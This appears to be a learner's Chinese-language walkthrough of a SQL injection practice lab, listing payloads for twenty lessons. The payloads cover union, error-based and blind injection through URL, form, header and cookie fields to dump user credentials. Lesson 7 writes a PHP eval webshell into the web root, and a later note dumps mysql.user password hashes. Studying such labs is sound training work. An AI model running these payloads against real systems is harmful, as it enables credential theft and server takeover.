数据库:security
表信息如下:
emails:id,email_id
referers:id,referer,ip_address
uagents:id,uagent,ip_address,username
users:id,username,password(有效ID:1-12,14)
lesson-1
http://f7aca08a4a5043e58321a0284592e3a8.app.mituan.zone/Less-1/?id=1' and 1=1 -- q,为了减少不必要的输入,之后只保留最后的关键部分,判断注入点
?id=1' order by 3 -- q 判断字段数
?id=' union all select 1,2,3 -- q 判断回显
?id=' union all select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() -- q 输出表名
?id=' union all select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- q 输出users表的字段名
?id=' union all select 1,database(),group_concat(concat_ws('-',username,password)) from users -- q 查询users表的数据
lesson-2
?id=1 and 1=1 -- q 判断注入点
?id=1 order by 3 -- q 判断字段数
?id=-1 union all select 1,2,3 -- q 判断回显点
?id=-1 union all select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() -- q 输出表名称
?id=-1 union all select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- q 输出字段名称
?id=-1 union all select 1,database(),group_concat(concat_ws('-',username,password)) from users -- q 输出表数据
lesson-3
?id=1') and 1=1 -- q 判断注入点
?id=1') order by 3 -- q 判断字段数
?id=') union all select 1,2,3 -- q 判断回显点
?id=') union all select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() -- q 输出表名称
?id=') union all select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- q 输出字段
?id=') union all select 1,database(),group_concat(concat_ws('-',username,password)) from users -- q 输出数据
lesson-4
?id=1") and 1=1 -- q 判断注入点
?id=1") order by 3 -- q 判断字段数
?id=") union all select 1,2,3 -- q 判断回显点
?id=") union all select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() -- q 输出表名称
?id=") union all select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- q 输出字段
?id=") union all select 1,database(),group_concat(concat_ws('-',username,password)) from users -- q 输出数据
lesson-5
?id=1' and 1=1 -- q 判断注入点
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),3) -- q 报错注入较为简单,这里采用盲注吧
?id=1' and (select count(*) from information_schema.tables where table_schema=database())=4 -- security 判断表数量
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5 -- users 判断表长度
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117 -- u,判断表字母,通过修改substr的第二个参数及ascii的值来判断
?id=1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users')=3 -- iup 判断字段数
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1))=8 -- username 判断字段长度
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=117 -- u117s115e101r114n110a97m109e101 判断字段字母
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1))=8 -- password 判断另一个字段长度
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),1,1))=112 -- p112a97s115s115w119o111r114d100 判断另一个字段字母
?id=1' and (select count(*) from users)=13 -- c 判断数据量
?id=1' and length((select username from users limit 0,1))=4 -- Dump 判断第一个数据的username字段长度
?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 -- D68u117m109b98 判断第一个数据的username字段字母
?id=1' and length((select password from users limit 0,1))=4 -- Dump 判断第一个数据的password字段长度
?id=1' and ascii(substr((select password from users limit 0,1),1,1))=68 -- D68u117m109b98 判断第一个数据的password字段字母
lesson-6
`?id=1" and 1=1 -- q` 判断注入点
`?id=1" and updatexml(1,concat(0x7e,database(),0x7e),3) -- q` 报错注入较为简单,这里采用盲注吧
`?id=1" and (select count(*) from information_schema.tables where table_schema=database())=4 -- security` 判断表数量
`?id=1" and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5 -- users` 判断表长度
`?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117 -- u` 判断表字母,通过修改substr的第二个参数及ascii的值来判断
`?id=1" and (select count(*) from information_schema.columns where table_schema=database() and table_name='users')=3 -- iup` 判断字段数
`?id=1" and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1))=8 -- username` 判断字段长度
`?id=1" and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=117 -- u117s115e101r114n110a97m109e101` 判断字段字母
`?id=1" and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1))=8 -- password` 判断另一个字段长度
`?id=1" and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),1,1))=112 -- p112a97s115s115w119o111r114d100` 判断另一个字段字母
`?id=1" and (select count(*) from users)=13 -- c` 判断数据量
`?id=1" and length((select username from users limit 0,1))=4 -- Dump` 判断第一个数据的username字段长度
`?id=1" and ascii(substr((select username from users limit 0,1),1,1))=68 -- D68u117m109b98` 判断第一个数据的username字段字母
`?id=1" and length((select password from users limit 0,1))=4 -- Dump` 判断第一个数据的password字段长度
`?id=1" and ascii(substr((select password from users limit 0,1),1,1))=68 -- D68u117m109b98` 判断第一个数据的password字段字母
lesson-7
- nginx:
/usr/local/nginx/html
、/home/wwwroot/default
、/usr/share/nginx
、/var/www/htm
- apache:
/var/www/htm
、/var/www/html/htdocs
- mysql:
/var/lib/mysql/
`?id=1')) and 1=1 -- q`
?id=1')) order by 3 -- q
?id=' union select 1,@@datadir,@@basedir -- l1 #借助lesson-1 `var/lib/mysql/ /usr 借助lesson1判断路径
?id=1')) and (select '<?php eval($_REQUEST[8]);?>' into outfile '') -- q
?id=')) union all select 1,2,'<?php eval($_REQUEST[8]);?>' into dumpfile '/usr/local/nginx/html/8.php' -- q
lesson-8
?id=1' and 1=1 -- q 判断注入点
?id=1' and (select count(*) from information_schema.tables where table_schema=database())=4 -- security 判断表数量
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5 -- users 判断表长度
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117 -- u 判断表字母,通过修改substr的第二个参数及ascii的值来判断
?id=1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users')=3 -- iup 判断字段数
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1))=8 -- username 判断字段长度
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=117 -- u117s115e101r114n110a97m109e101 判断字段字母
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1))=8 -- password 判断另一个字段长度
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),1,1))=112 -- p112a97s115s115w119o111r114d100 判断另一个字段字母
?id=1' and (select count(*) from users)=13 -- c 判断数据量
?id=1' and length((select username from users limit 0,1))=4 -- Dump 判断第一个数据的username字段长度
?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 -- D68u117m109b98 判断第一个数据的username字段字母
?id=1' and length((select password from users limit 0,1))=4 -- Dump 判断第一个数据的password字段长度
?id=1' and ascii(substr((select password from users limit 0,1),1,1))=68 -- D68u117m109b98 判断第一个数据的password字段字母
lesson-9
?id=1' and sleep(5) -- q 判断注入点
?id=1' and if(((select count(*) from information_schema.tables where table_schema=database())=4),sleep(5),0) -- security 判断表数量
?id=1' and if((length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5),sleep(5),0) -- users 判断表长度
?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117),sleep(5),0) -- u 判断表字母,通过修改substr的第二个参数及ascii的值来判断
?id=1' and if(((select count(*) from information_schema.columns where table_schema=database() and table_name='users')=3),sleep(5),0) -- iup 判断字段数
?id=1' and if((length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1))=8),sleep(5),0) -- username 判断字段长度
?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=117),sleep(5),1) -- u117s115e101r114n110a97m109e101 判断字段字母
?id=1' and if((length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1))=8),sleep(5),1) -- password 判断另一个字段长度
?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),1,1))=112),sleep(5),1) -- p112a97s115s115w119o111r114d100 判断另一个字段字母
?id=1' and if(((select count(*) from users)=13),sleep(5),1) -- c 判断数据量
?id=1' and if((length((select username from users limit 0,1))=4),sleep(5),1) -- Dump 判断第一个数据的username字段长度
?id=1' and if((ascii(substr((select username from users limit 0,1),1,1))=68),sleep(5),1) -- D68u117m109b98 判断第一个数据的username字段字母
?id=1' and if((length((select password from users limit 0,1))=4),sleep(5),1) -- Dump 判断第一个数据的password字段长度
?id=1' and if((ascii(substr((select password from users limit 0,1),1,1))=68),sleep(5),1) -- D68u117m109b98 判断第一个数据的password字段字母
lesson-10
?id=1" and sleep(5) -- q 判断注入点
?id=1" and if(((select count(*) from information_schema.tables where table_schema=database())=4),sleep(5),0) -- security 判断表数量
?id=1" and if((length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5),sleep(5),0) -- users 判断表长度
?id=1" and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117),sleep(5),0) -- u 判断表字母,通过修改substr的第二个参数及ascii的值来判断
?id=1" and if(((select count(*) from information_schema.columns where table_schema=database() and table_name='users')=3),sleep(5),0) -- iup 判断字段数
?id=1" and if((length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1))=8),sleep(5),0) -- username 判断字段长度
?id=1" and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=117),sleep(5),1) -- u117s115e101r114n110a97m109e101 判断字段字母
?id=1" and if((length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1))=8),sleep(5),1) -- password 判断另一个字段长度
?id=1" and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),1,1))=112),sleep(5),1) -- p112a97s115s115w119o111r114d100 判断另一个字段字母
?id=1" and if(((select count(*) from users)=13),sleep(5),1) -- c 判断数据量
?id=1" and if((length((select username from users limit 0,1))=4),sleep(5),1) -- Dump 判断第一个数据的username字段长度
?id=1" and if((ascii(substr((select username from users limit 0,1),1,1))=68),sleep(5),1) -- D68u117m109b98 判断第一个数据的username字段字母
?id=1" and if((length((select password from users limit 0,1))=4),sleep(5),1) -- Dump 判断第一个数据的password字段长度
?id=1" and if((ascii(substr((select password from users limit 0,1),1,1))=68),sleep(5),1) -- D68u117m109b98 判断第一个数据的password字段字母
lesson-11
uname=admin' and 1=1#&passwd=&submit=Submit
uname=admin' and updatexml(1,concat(0x7e,(database()),0x7e),3)#&passwd=&submit=Submit 报错
uname=admin' order by 2#&passwd=&submit=Submit
uname=' union all select 1,2#&passwd=&submit=Submit
uname=' union all select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=&submit=Submit
lesson-12
uname=admin") and 1=1#&passwd=&submit=Submit
uname=admin") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3)#&passwd=&submit=Submit
uname=admin") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3)#&passwd=&submit=Submit
lesson-13
uname=admin') and 1=1#&passwd=&submit=Submit
uname=admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3)#&passwd=&submit=Submit
uname=admin') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3)#&passwd=&submit=Submit
lesson-14
uname=admin" and 1=1#&passwd=&submit=Submit
uname=admin" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3)#&passwd=&submit=Submit
uname=admin" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3)#&passwd=&submit=Submit
lesson-15
uname=admin' and 1=1#&passwd=&submit=Submit
uname=admin' and (select count(*) from information_schema.tables where table_schema=database())=4#&passwd=&submit=Submit #判断表数量
uname=admin' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5#&passwd=&submit=Submit #判断第4个表长度
uname=admin' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117#&passwd=&submit=Submit #判断第4个表名称
uname=admin' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users')=3#&passwd=&submit=Submit #判断列数
uname=admin' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1))=8#&passwd=&submit=Submit #判断列长度
uname=admin' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=117#&passwd=&submit=Submit #判断列名称
uname=admin' and (select count(*) from users)=13#&passwd=&submit=Submit #判断数据量
uname=admin' and length((select username from users limit 0,1))=4#&passwd=&submit=Submit #判断用户名长度
uname=admin' and ascii(substr((select username from users limit 0,1),1,1))=68#&passwd=&submit=Submit #判断用户名字母
lesson-16
uname=admin") and 1=1#&passwd=&submit=Submit
uname=admin") and (select count(*) from information_schema.tables where table_schema=database())=4#&passwd=&submit=Submit #判断表数量
uname=admin") and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5#&passwd=&submit=Submit #判断第4个表长度
uname=admin") and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117#&passwd=&submit=Submit #判断第4个表名称
uname=admin") and (select count(*) from information_schema.columns where table_schema=database() and table_name='users')=3#&passwd=&submit=Submit #判断列数
uname=admin") and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1))=8#&passwd=&submit=Submit #判断列长度
uname=admin") and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=117#&passwd=&submit=Submit #判断列名称
uname=admin") and (select count(*) from users)=13#&passwd=&submit=Submit #判断数据量
uname=admin") and length((select username from users limit 0,1))=4#&passwd=&submit=Submit #判断用户名长度
uname=admin") and ascii(substr((select username from users limit 0,1),1,1))=68#&passwd=&submit=Submit #判断用户名字母
lesson-17
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(database()),0x7e),3)#&submit=Submit
uname=admin&passwd=' or updatexml(1,concat(0x7e,(database()),0x7e),3)#&submit=Submit
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3)#&submit=Submit
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3)#&submit=Submit
lesson-18
User-Agent: ' or updatexml(1,concat(0x7e,(database()),0x7e),3) or '1'='1
User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3) or '1'='1
User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3) or '1'='1
lesson-19
Referer: ' or updatexml(1,concat(0x7e,(database()),0x7e),3) or '1'='1
Referer: ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3) or '1'='1
Referer: ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3) or '1'='1
lesson-20
第一个包提交数据,第二个包含有cookie信息。
Cookie: uname=a' union all select 1,2,3 -- q 联合注入
Cookie: uname=' or updatexml(1,concat(0x7e,(database()),0x7e),3) -- q 报错注入
Cookie: uname=' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3) or '1'='1
Cookie: uname=' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3) or '1'='1
记录
- 查询权限:
?id=' union all select 1,group_concat(concat_ws('-',Host,User,Password,authentication_string)),3 from mysql.user -- q
- 禁用substr怎么办:
?id=1' and ord(mid(database(),1,1))=115-- a
、?id=1' and (left(database(),2))='se'-- a
- floor报错1:第五关
?id=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- 侠客文库
- floor报错2:第五关
?id=-1' union select count(*),1,concat('@',(select database()),'@',floor(rand()*2)) as a from information_schema.tables group by a -- 安定坊多刷新几次总会报错的
- 待定
- 热爱网络安全的小菜狗